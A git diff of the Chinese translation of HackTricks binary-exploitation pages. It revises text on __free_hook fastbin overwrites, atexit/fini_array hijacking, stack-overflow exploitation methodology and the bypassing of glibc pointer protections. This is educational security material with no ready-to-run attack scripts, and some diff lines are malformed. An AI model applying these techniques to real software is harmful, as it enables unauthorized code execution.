gef➤ p &__free_hook
-$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+- gef➤ p &__free_hook
+$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
-0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
-0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
+0x7ff1e9e6076f : 0x0000000000000000 0x0000000000000000
+0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
-- 如果我们能够在这个位置获取一个大小为 0x200 的快速 chunk，就可以覆盖一个将被执行的函数指针
+- 如果我们能够在这个位置获取一个大小为 0x200 的快速 chunk，就可以覆盖一个将被执行的函数指针。
- 为此，创建一个大小为 `0xfc` 的新 chunk，并用该指针调用合并函数两次，这样我们就可以在快速 bin 中获得一个大小为 `0xfc*2 = 0x1f8` 的已释放 chunk 的指针。
- 然后，在这个 chunk 中调用编辑函数，将这个快速 bin 的 **`fd`** 地址修改为指向之前的 **`__free_hook`** 函数。
- 接着，创建一个大小为 `0x1f8` 的 chunk，从快速 bin 中检索之前无用的 chunk，因此再创建一个大小为 `0x1f8` 的 chunk，以在 **`__free_hook`** 中获取一个快速 bin chunk，并用 **`system`** 函数的地址覆盖它。
-- 最后，释放一个包含字符串 `/bin/sh\x00` 的 chunk，调用删除函数，触发指向系统的 **`__free_hook`** 函数，参数为 `/bin/sh\x00`。
+- 最后，释放一个包含字符串 `/bin/sh\x00` 的 chunk，调用删除函数，触发 **`__free_hook`** 函数，该函数将 `/bin/sh\x00` 作为参数指向 system。
## 参考文献
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
index ed9d959f6..5e855d92d 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
@@ -8,8 +8,8 @@
> 现在利用这个是非常**奇怪的！**
**`atexit()`** 是一个函数，**其他函数作为参数传递给它。** 这些 **函数** 将在执行 **`exit()`** 或 **main** 的 **返回** 时被 **执行**。\
-如果你能 **修改** 任何这些 **函数** 的 **地址** 使其指向一个 shellcode，例如，你将 **获得对进程的控制**，但这目前更复杂。\
-目前要执行的 **函数地址** 被 **隐藏** 在几个结构后，最终指向的地址不是函数的地址，而是 **用 XOR 加密** 和 **随机密钥** 的位移。因此，目前这个攻击向量在 **x86** 和 **x64_86** 上 **不是很有用**。\
+如果你能 **修改** 这些 **函数** 的 **地址** 使其指向一个 shellcode，例如，你将 **获得对进程的控制**，但这目前更复杂。\
+目前要执行的 **函数地址** 被 **隐藏** 在几个结构后面，最终指向的地址不是函数的地址，而是 **用 XOR 加密** 和 **随机密钥** 进行位移的。因此，目前这个攻击向量在 **x86** 和 **x64_86** 上 **不是很有用**。\
**加密函数** 是 **`PTR_MANGLE`**。 **其他架构** 如 m68k、mips32、mips64、aarch64、arm、hppa... **不实现加密** 函数，因为它 **返回与输入相同** 的内容。因此，这些架构可以通过这个向量进行攻击。
你可以在 [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) 找到关于这个如何工作的详细解释。
@@ -48,10 +48,10 @@ Elf64_Addr d_ptr; // offset from l->l_addr of our structure
有**几种选择**：
-- 覆盖 `map->l_addr` 的值，使其指向一个**假的 `fini_array`**，其中包含执行任意代码的指令
-- 覆盖 `l_info[DT_FINI_ARRAY]` 和 `l_info[DT_FINI_ARRAYSZ]` 条目（在内存中大致是连续的），使它们**指向一个伪造的 `Elf64_Dyn`** 结构，这将使**`array` 再次指向攻击者控制的内存**区域。
-- [**这个写作**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) 用一个控制的内存地址覆盖 `l_info[DT_FINI_ARRAY]`，该地址在 `.bss` 中包含一个假的 `fini_array`。这个假数组首先包含一个[**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **地址**，将被执行，然后是这个**假数组**的地址与**`map->l_addr`**的值之间的**差值**，使得 `*array` 指向假数组。
-- 根据该技术的主要帖子和[**这个写作**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet)，ld.so 在栈上留下一个指向 ld.so 中二进制 `link_map` 的指针。通过任意写入，可以覆盖它并使其指向一个由攻击者控制的假 `fini_array`，其中包含一个[**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md)的地址，例如。
+- 覆盖 `map->l_addr` 的值，使其指向一个**假的 `fini_array`**，其中包含执行任意代码的指令。
+- 覆盖 `l_info[DT_FINI_ARRAY]` 和 `l_info[DT_FINI_ARRAYSZ]` 条目（在内存中大致是连续的），使它们**指向一个伪造的 `Elf64_Dyn`** 结构，这将使得**`array` 再次指向攻击者控制的内存**区域。
+- [**这个写作**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) 用一个受控内存的地址覆盖 `l_info[DT_FINI_ARRAY]`，该内存位于 `.bss` 中，包含一个假的 `fini_array`。这个假数组**首先包含一个** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **地址**，将被执行，然后是这个**假数组**的地址与**`map->l_addr`**的**差值**，使得 `*array` 指向假数组。
+- 根据该技术的主要帖子和[**这个写作**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet)，ld.so 在栈上留下一个指向 ld.so 中二进制 `link_map` 的指针。通过任意写入，可以覆盖它并使其指向一个由攻击者控制的假 `fini_array`，其中包含一个 [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) 的地址，例如。
在前面的代码之后，您可以找到另一个有趣的代码部分：
```c
@@ -61,9 +61,9 @@ if (fini != NULL)
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
}
```
-在这种情况下，可以覆盖指向伪造的 `ElfW(Dyn)` 结构的 `map->l_info[DT_FINI]` 的值。找到 [**更多信息这里**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure)。
+在这种情况下，可以通过指向伪造的 `ElfW(Dyn)` 结构来覆盖 `map->l_info[DT_FINI]` 的值。找到 [**更多信息这里**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure)。
-## 在 **`__run_exit_handlers`** 中覆盖 TLS-Storage dtor_list
+## TLS-Storage dtor_list 在 **`__run_exit_handlers`** 中的覆盖
正如 [**这里解释的**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite)，如果程序通过 `return` 或 `exit()` 退出，它将执行 **`__run_exit_handlers()`**，该函数将调用任何注册的析构函数。
@@ -130,7 +130,7 @@ func (cur->obj);
## **`__run_exit_handlers`** 中的其他损坏指针
-此技术在[**这里解释**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite)，并再次依赖于程序**退出调用 `return` 或 `exit()`**，因此调用**`__run_exit_handlers()`**。
+此技术在[**这里**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite)中进行了说明，并再次依赖于程序**通过调用 `return` 或 `exit()` 退出**，因此调用了**`__run_exit_handlers()`**。
让我们检查一下该函数的更多代码：
```c
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
index 53b631eca..6484c0ee4 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
@@ -18,7 +18,7 @@ tools/
## 栈溢出方法论
-有这么多技术时，拥有一个方案来确定每种技术何时有用是好的。请注意，相同的保护措施会影响不同的技术。您可以在每个保护部分找到绕过保护的方法，但不在此方法论中。
+有这么多技术时，拥有一个方案来确定每种技术何时有用是很好的。请注意，相同的保护措施会影响不同的技术。您可以在每个保护部分找到绕过保护的方法，但在此方法论中找不到。
## 控制流程
@@ -40,27 +40,27 @@ tools/
## 永久循环
-需要考虑的一点是，通常 **仅仅利用一次漏洞可能不足以执行成功的利用**，特别是某些保护需要被绕过。因此，讨论一些选项以 **使单个漏洞在同一二进制执行中可利用多次** 是很有趣的：
+需要考虑的一点是，通常 **仅仅利用一次漏洞可能不足以** 执行成功的利用，特别是某些保护需要被绕过。因此，讨论一些选项以 **使单个漏洞在同一二进制执行中可利用多次** 是很有趣的：
- 在 **ROP** 链中写入 **`main` 函数** 的地址或发生 **漏洞** 的地址。
- 控制一个合适的 ROP 链，您可能能够在该链中执行所有操作
-- 在 GOT 中写入 **`exit` 地址**（或二进制在结束前使用的任何其他函数）到 **返回漏洞** 的地址
-- 如 [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**中所述，**在这里存储两个函数，一个是再次调用漏洞，另一个是调用 **`__libc_csu_fini`**，它将再次调用 `.fini_array` 中的函数。
+- 在 GOT 中写入 **`exit` 地址**（或二进制在结束前使用的任何其他函数）到 **返回漏洞**
+- 如 [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**中所述，** 在这里存储 2 个函数，一个用于再次调用漏洞，另一个用于调用 **`__libc_csu_fini`**，它将再次调用 `.fini_array` 中的函数。
## 利用目标
### 目标：调用现有函数
-- [**ret2win**](#ret2win): 代码中有一个您需要调用的函数（可能带有一些特定参数）以获取标志。
+- [**ret2win**](#ret2win): 代码中有一个函数需要调用（可能带有一些特定参数）以获取标志。
- 在 **没有** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **和** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) 的常规 bof 中，您只需在存储在栈中的返回地址中写入地址。
- 在带有 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) 的 bof 中，您需要绕过它
- 在带有 [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) 的 bof 中，您需要绕过它
- 如果您需要设置多个参数以正确调用 **ret2win** 函数，您可以使用：
-- 如果有足够的 gadgets，可以使用 [**ROP**](#rop-and-ret2...-techniques) **链来准备所有参数**
+- 如果有足够的 gadgets，可以使用 [**ROP**](#rop-and-ret2...-techniques) **链来准备所有参数
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html)（如果您可以调用此系统调用）来控制许多寄存器
- 来自 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 和 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) 的 gadgets 来控制多个寄存器
- 通过 [**写入什么到哪里**](../arbitrary-write-2-exec/index.html)，您可以利用其他漏洞（不是 bof）来调用 **`win`** 函数。
-- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈中包含指向将要调用的函数或将要被有趣的函数（system 或 printf）使用的字符串的指针，则可以覆盖该地址。
+- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈包含指向将要调用的函数或将要被有趣的函数（system 或 printf）使用的字符串的指针，则可以覆盖该地址。
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) 可能会影响地址。
- [**未初始化变量**](../stack-overflow/uninitialized-variables.md): 你永远不知道。
@@ -69,26 +69,26 @@ tools/
#### 通过 shellcode，如果 nx 被禁用或将 shellcode 与 ROP 混合：
- [**(栈) Shellcode**](#stack-shellcode): 这对于在覆盖返回指针之前或之后在栈中存储 shellcode 并然后 **跳转到它** 执行是有用的：
-- **在任何情况下，如果有** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**，**在常规 bof 中，您需要绕过（泄漏）它
+- **在任何情况下，如果有** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**，** 在常规 bof 中，您需要绕过（泄漏）它
- **没有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **和** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md)，可以跳转到栈的地址，因为它不会改变
- **有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)，您需要使用 [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) 等技术来跳转到它
-- **有** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md)，您需要使用一些 [**ROP**](../rop-return-oriented-programing/index.html) **来调用 `memprotect`** 并使某些页面 `rwx`，以便然后 **将 shellcode 存储在那里**（例如调用 read）并跳转到那里。
+- **有** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md)，您需要使用一些 [**ROP**](../rop-return-oriented-programing/index.html) **来调用 `memprotect`** 并使某些页面 `rwx`，然后 **在其中存储 shellcode**（例如调用 read）并跳转到那里。
- 这将把 shellcode 与 ROP 链混合。
#### 通过系统调用
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): 有用来调用 `execve` 以运行任意命令。您需要能够找到 **调用特定系统调用的 gadgets 及其参数**。
-- 如果 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) 被启用，您需要击败它们 **以便使用二进制文件或库中的 ROP gadgets**。
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): 有用的调用 `execve` 来运行任意命令。您需要能够找到 **调用特定系统调用的 gadgets 及其参数**。
+- 如果启用了 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)，您需要击败它们 **以便使用二进制文件或库中的 ROP gadgets**。
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) 可以用于准备 **ret2execve**
- 来自 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 和 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) 的 gadgets 来控制多个寄存器
#### 通过 libc
-- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): 有用来调用库中的函数（通常是 **`libc`**）如 **`system`**，并带有一些准备好的参数（例如 `'/bin/sh'`）。您需要二进制文件 **加载库** 以调用您想要的函数（通常是 libc）。
+- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): 有用的调用库中的函数（通常来自 **`libc`**），如 **`system`**，并带有一些准备好的参数（例如 `'/bin/sh'`）。您需要二进制文件 **加载库** 以调用您想要的函数（通常是 libc）。
- 如果 **静态编译且没有** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)，`system` 和 `/bin/sh` 的 **地址** 不会改变，因此可以静态使用它们。
- **没有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **并且知道加载的 libc 版本**，`system` 和 `/bin/sh` 的 **地址** 不会改变，因此可以静态使用它们。
-- 在 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **但没有** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) 的情况下，知道 libc 并且二进制文件使用 `system` **函数，可以** 将 `ret` 到 GOT 中 system 的地址，并将 `'/bin/sh'` 的地址作为参数（您需要弄清楚这一点）。
-- 在 [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) 但没有 [PIE](../common-binary-protections-and-bypasses/pie/index.html) 的情况下，知道 libc 并且 **没有二进制文件使用 `system`**：
+- 在 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **但没有** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) 的情况下，知道 libc 并且二进制文件使用 `system` **函数，可以** 将 `ret` 返回到 GOT 中 system 的地址，并将 `'/bin/sh'` 的地址作为参数（您需要弄清楚这一点）。
+- 在 [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) 但没有 [PIE](../common-binary-protections-and-bypasses/pie/index.html)，知道 libc 并且 **没有二进制文件使用 `system`**：
- 使用 [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) 来解析 `system` 的地址并调用它
- **绕过** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 并计算 `system` 和 `'/bin/sh'` 在内存中的地址。
- **有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **和** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **并且不知道 libc**：您需要：
@@ -100,11 +100,11 @@ tools/
- [**栈转移 / EBP2Ret / EBP 链接**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): 控制 ESP 以通过存储在栈中的 EBP 控制 RET。
- 对于 **off-by-one** 栈溢出很有用
-- 作为一种替代方式，在利用 EIP 构造内存中的有效载荷后，通过 EBP 跳转到它
+- 作为控制 EIP 的替代方法，同时利用 EIP 在内存中构造有效负载，然后通过 EBP 跳转到它
#### 其他
-- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈中包含指向将要调用的函数或将要被有趣的函数（system 或 printf）使用的字符串的指针，则可以覆盖该地址。
+- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈包含指向将要调用的函数或将要被有趣的函数（system 或 printf）使用的字符串的指针，则可以覆盖该地址。
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) 可能会影响地址。
- [**未初始化变量**](../stack-overflow/uninitialized-variables.md): 你永远不知道。
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
index c34b7dc69..d097bbb2a 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
@@ -4,7 +4,7 @@
## Chunk Alignment Enforcement
-**Malloc** 在 **8字节（32位）或16字节（64位）分组**中分配内存。这意味着在32位系统中，块的结束应与 **0x8** 对齐，而在64位系统中应与 **0x0** 对齐。安全特性检查每个块在使用来自 bin 的指针之前是否在这些特定位置 **正确对齐**。
+**Malloc** 在 **8字节（32位）或16字节（64位）分组**中分配内存。这意味着在32位系统中，块的末尾应与 **0x8** 对齐，而在64位系统中应与 **0x0** 对齐。安全特性检查每个块是否在使用来自 bin 的指针之前 **正确对齐** 在这些特定位置。
### Security Benefits
@@ -12,11 +12,11 @@
- **Fastbin Attack on \_\_malloc_hook**
-Malloc 中的新对齐规则也阻止了涉及 `__malloc_hook` 的经典攻击。之前，攻击者可以操纵块大小以 **覆盖此函数指针** 并获得 **代码执行**。现在，严格的对齐要求确保此类操纵不再可行，关闭了一个常见的利用途径，增强了整体安全性。
+Malloc 中的新对齐规则也阻止了涉及 `__malloc_hook` 的经典攻击。之前，攻击者可以操纵块大小以 **覆盖此函数指针** 并获得 **代码执行**。现在，严格的对齐要求确保此类操纵不再可行，关闭了一个常见的利用途径，并增强了整体安全性。
## Pointer Mangling on fastbins and tcache
-**Pointer Mangling** 是一种安全增强，用于保护内存管理操作中的 **fastbin 和 tcache Fd 指针**。该技术有助于防止某些类型的内存利用战术，特别是那些不需要泄漏内存信息或直接相对于已知位置操纵内存位置（相对 **覆盖**）的战术。
+**Pointer Mangling** 是一种安全增强，用于保护内存管理操作中的 **fastbin 和 tcache Fd 指针**。该技术有助于防止某些类型的内存利用战术，特别是那些不需要泄露内存信息或直接相对于已知位置操纵内存位置的战术（相对 **覆盖**）。
该技术的核心是一个混淆公式：
@@ -25,18 +25,18 @@ Malloc 中的新对齐规则也阻止了涉及 `__malloc_hook` 的经典攻击
- **L** 是指针的 **存储位置**。
- **P** 是实际的 **fastbin/tcache Fd 指针**。
-在 XOR 操作之前将存储位置 (L) 向右移动12位的位移是关键。这种操纵解决了内存地址最低有效12位的确定性特性所固有的漏洞，这些位通常由于系统架构限制而可预测。通过移动位，预测部分被移出方程，从而增强了新混淆指针的随机性，从而保护免受依赖这些位可预测性的利用。
+在 XOR 操作之前将存储位置 (L) 向右移动 12 位的位移是关键。这种操纵解决了内存地址最低有效 12 位的确定性特性所固有的漏洞，这些位通常由于系统架构限制而可预测。通过移动位，预测部分被移出方程，从而增强了新混淆指针的随机性，从而保护免受依赖这些位可预测性的利用。
-这个混淆指针利用了 **地址空间布局随机化（ASLR）** 提供的现有随机性，ASLR 随机化程序使用的地址，使攻击者难以预测进程的内存布局。
+这个混淆指针利用了 **地址空间布局随机化（ASLR）** 提供的现有随机性，该技术随机化程序使用的地址，使攻击者难以预测进程的内存布局。
**Demangling** 指针以检索原始地址涉及使用相同的 XOR 操作。在这里，混淆指针被视为公式中的 P，当与未更改的存储位置 (L) 进行 XOR 时，结果是原始指针被揭示。这种混淆和解混淆的对称性确保系统能够高效地编码和解码指针，而不会产生显著的开销，同时大幅提高了对操纵内存指针攻击的安全性。
### Security Benefits
-指针混淆旨在 **防止堆管理中的部分和完整指针覆盖**，这是安全性的重要增强。此功能以多种方式影响利用技术：
+指针混淆旨在 **防止堆中的部分和完整指针覆盖**，这是安全性的重要增强。此功能以多种方式影响利用技术：
1. **防止字节相对覆盖**：之前，攻击者可以更改指针的一部分以 **在不知道确切地址的情况下将堆块重定向到不同位置**，这种技术在无泄漏的 **House of Roman** 利用中显而易见。通过指针混淆，此类相对覆盖 **在没有堆泄漏的情况下现在需要暴力破解**，大幅降低了成功的可能性。
-2. **增加 Tcache Bin/Fastbin 攻击的难度**：通过操纵 fastbin 或 tcache 条目来覆盖函数指针（如 `__malloc_hook`）的常见攻击受到阻碍。例如，一种攻击可能涉及泄漏 LibC 地址，将一个块释放到 tcache bin 中，然后覆盖 Fd 指针以将其重定向到 `__malloc_hook` 以进行任意代码执行。通过指针混淆，这些指针必须正确混淆，**需要堆泄漏以进行准确操纵**，从而提高了利用的门槛。
+2. **增加 Tcache Bin/Fastbin 攻击的难度**：通过操纵 fastbin 或 tcache 条目来覆盖函数指针（如 `__malloc_hook`）的常见攻击受到阻碍。例如，一种攻击可能涉及泄露 LibC 地址，将一个块释放到 tcache bin 中，然后覆盖 Fd 指针以将其重定向到 `__malloc_hook` 以进行任意代码执行。通过指针混淆，这些指针必须正确混淆，**需要堆泄漏以进行准确操纵**，从而提高了利用门槛。
3. **在非堆位置需要堆泄漏**：在非堆区域（如栈、.bss 段或 PLT/GOT）创建假块现在也 **需要堆泄漏**，因为需要指针混淆。这增加了利用这些区域的复杂性，类似于操纵 LibC 地址的要求。
4. **泄漏堆地址变得更加困难**：指针混淆限制了 Fd 指针在 fastbin 和 tcache bins 中作为堆地址泄漏源的有效性。然而，未排序、小型和大型 bins 中的指针仍然未混淆，因此仍可用于泄漏地址。这一变化迫使攻击者探索这些 bins 以获取可利用的信息，尽管某些技术仍可能允许在泄漏之前解混淆指针，但有一定的限制。
@@ -47,34 +47,34 @@ Malloc 中的新对齐规则也阻止了涉及 `__malloc_hook` 的经典攻击
### Algorithm Overview
-用于混淆和解混淆指针的公式是：
+用于混淆和解混淆指针的公式是：
**`New_Ptr = (L >> 12) XOR P`**
-其中 **L** 是存储位置，**P** 是 Fd 指针。当 **L** 向右移动12位时，它暴露了 **P** 的最高有效位，由于 **XOR** 的特性，当位与自身进行 XOR 时输出为0。
+其中 **L** 是存储位置，**P** 是 Fd 指针。当 **L** 向右移动 12 位时，它暴露了 **P** 的最高有效位，由于 **XOR** 的特性，当位与自身进行 XOR 时输出为 0。
-**Key Steps in the Algorithm:**
+**Algorithm中的关键步骤：**
-1. **初始泄漏最高有效位**：通过将移位的 **L** 与 **P** 进行 XOR，您有效地获得了 **P** 的前12位，因为移位部分的 **L** 将为零，留下 **P** 的相应位不变。
+1. **最初泄漏最高有效位**：通过将移位后的 **L** 与 **P** 进行 XOR，您有效地获得了 **P** 的前 12 位，因为移位部分的 **L** 将为零，留下 **P** 的相应位不变。
2. **恢复指针位**：由于 XOR 是可逆的，知道结果和其中一个操作数可以让您计算另一个操作数。这个特性用于通过将已知的位集与混淆指针的部分进行逐步 XOR 来推导出 **P** 的整个位集。
3. **迭代解混淆**：该过程重复进行，每次使用从上一步中发现的 **P** 的新位来解码混淆指针的下一个部分，直到所有位都被恢复。
-4. **处理确定性位**：由于移位，**L** 的最后12位丢失，但它们是确定性的，可以在后处理时重建。
+4. **处理确定性位**：由于移位，**L** 的最后 12 位丢失，但它们是确定性的，可以在后处理时重建。
您可以在这里找到该算法的实现：[https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
## Pointer Guard
-Pointer guard 是一种在 glibc 中使用的利用缓解技术，用于保护存储的函数指针，特别是那些由库调用（如 `atexit()`）注册的指针。该保护涉及通过将指针与存储在线程数据中的秘密（`fs:0x30`）进行 XOR 并应用位旋转来打乱指针。该机制旨在防止攻击者通过覆盖函数指针来劫持控制流。
+Pointer guard 是一种在 glibc 中使用的利用缓解技术，用于保护存储的函数指针，特别是那些通过库调用（如 `atexit()`）注册的指针。此保护涉及通过将指针与存储在线程数据中的秘密（`fs:0x30`）进行 XOR 并应用位旋转来打乱指针。该机制旨在防止攻击者通过覆盖函数指针来劫持控制流。
### **Bypassing Pointer Guard with a leak**
-1. **理解 Pointer Guard 操作**：指针的打乱（混淆）是使用 `PTR_MANGLE` 宏完成的，该宏将指针与64位秘密进行 XOR，然后执行0x11位的左旋转。恢复原始指针的反操作由 `PTR_DEMANGLE` 处理。
-2. **攻击策略**：该攻击基于已知明文的方法，攻击者需要知道指针的原始版本和混淆版本，以推导出用于混淆的秘密。
-3. **利用已知明文**：
-- **识别固定函数指针**：通过检查 glibc 源代码或初始化的函数指针表（如 `__libc_pthread_functions`），攻击者可以找到可预测的函数指针。
-- **计算秘密**：使用已知的函数指针（如 `__pthread_attr_destroy`）及其来自函数指针表的混淆版本，可以通过反向旋转（右旋转）混淆指针，然后与函数的地址进行 XOR 来计算秘密。
-4. **替代明文**：攻击者还可以尝试使用已知值（如0或-1）混淆指针，以查看这些是否在内存中产生可识别的模式，当这些模式在内存转储中找到时，可能会揭示秘密。
-5. **实际应用**：在计算出秘密后，攻击者可以以受控的方式操纵指针，从而在了解 libc 基地址和能够读取任意内存位置的情况下，基本上绕过多线程应用中的 Pointer Guard 保护。
+1. **理解 Pointer Guard 操作：** 指针的打乱（混淆）是通过使用 `PTR_MANGLE` 宏完成的，该宏将指针与 64 位秘密进行 XOR，然后进行 0x11 位的左旋转。恢复原始指针的反向操作由 `PTR_DEMANGLE` 处理。
+2. **攻击策略：** 攻击基于已知明文的方法，攻击者需要知道指针的原始版本和混淆版本，以推导出用于混淆的秘密。
+3. **利用已知明文：**
+- **识别固定函数指针：** 通过检查 glibc 源代码或初始化的函数指针表（如 `__libc_pthread_functions`），攻击者可以找到可预测的函数指针。
+- **计算秘密：** 使用已知的函数指针（如 `__pthread_attr_destroy`）及其来自函数指针表的混淆版本，可以通过反向旋转（右旋转）混淆指针，然后与函数的地址进行 XOR 来计算秘密。
+4. **替代明文：** 攻击者还可以尝试使用已知值（如 0 或 -1）混淆指针，以查看这些是否在内存中产生可识别的模式，当这些模式在内存转储中找到时，可能会揭示秘密。
+5. **实际应用：** 在计算出秘密后，攻击者可以以受控方式操纵指针，从而在了解 libc 基地址和能够读取任意内存位置的情况下，基本上绕过 Pointer Guard 保护。
## References
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
index baca1b5a5..4892bf599 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
@@ -1,16 +1,16 @@
-# Memory Tagging Extension (MTE)
+# 内存标记扩展 (MTE)
{{#include ../../banners/hacktricks-training.md}}
## 基本信息
-**Memory Tagging Extension (MTE)** 旨在通过 **检测和防止与内存相关的错误** 来增强软件的可靠性和安全性，例如缓冲区溢出和使用后释放漏洞。MTE 作为 **ARM** 架构的一部分，提供了一种机制，将 **小标签附加到每个内存分配** 上，并为引用该内存的 **每个指针分配一个相应的标签**。这种方法允许在运行时检测非法内存访问，显著降低利用这些漏洞执行任意代码的风险。
+**内存标记扩展 (MTE)** 旨在通过 **检测和防止与内存相关的错误**，如缓冲区溢出和使用后释放漏洞，来增强软件的可靠性和安全性。MTE 作为 **ARM** 架构的一部分，提供了一种机制，将 **小标签附加到每个内存分配** 上，并为引用该内存的 **每个指针分配一个相应的标签**。这种方法允许在运行时检测非法内存访问，显著降低利用此类漏洞执行任意代码的风险。
-### **Memory Tagging Extension 的工作原理**
+### **内存标记扩展的工作原理**
-MTE 通过 **将内存划分为小的固定大小块，每个块分配一个标签** 来操作，通常标签的大小为几位。
+MTE 通过 **将内存划分为小的固定大小块，每个块分配一个标签** 来操作，标签通常为几位大小。
-当创建一个指针指向该内存时，它会获得相同的标签。这个标签存储在 **内存指针的未使用位中**，有效地将指针与其对应的内存块链接起来。
+当创建一个指针指向该内存时，它会获得相同的标签。该标签存储在 **内存指针的未使用位中**，有效地将指针与其相应的内存块链接起来。
.png)
@@ -91,7 +91,7 @@ printf("Processed Input is within range: %u\n", processedInput);
return 0;
}
```
-在这个例子中，如果用户输入一个负数，由于二进制值的解释方式，它将被解释为一个大的无符号整数，这可能导致意想不到的行为。
+在这个例子中，如果用户输入一个负数，由于二进制值的解释方式，它将被解释为一个大的无符号整数，这可能导致意外行为。
### 其他示例
@@ -99,14 +99,14 @@ return 0;
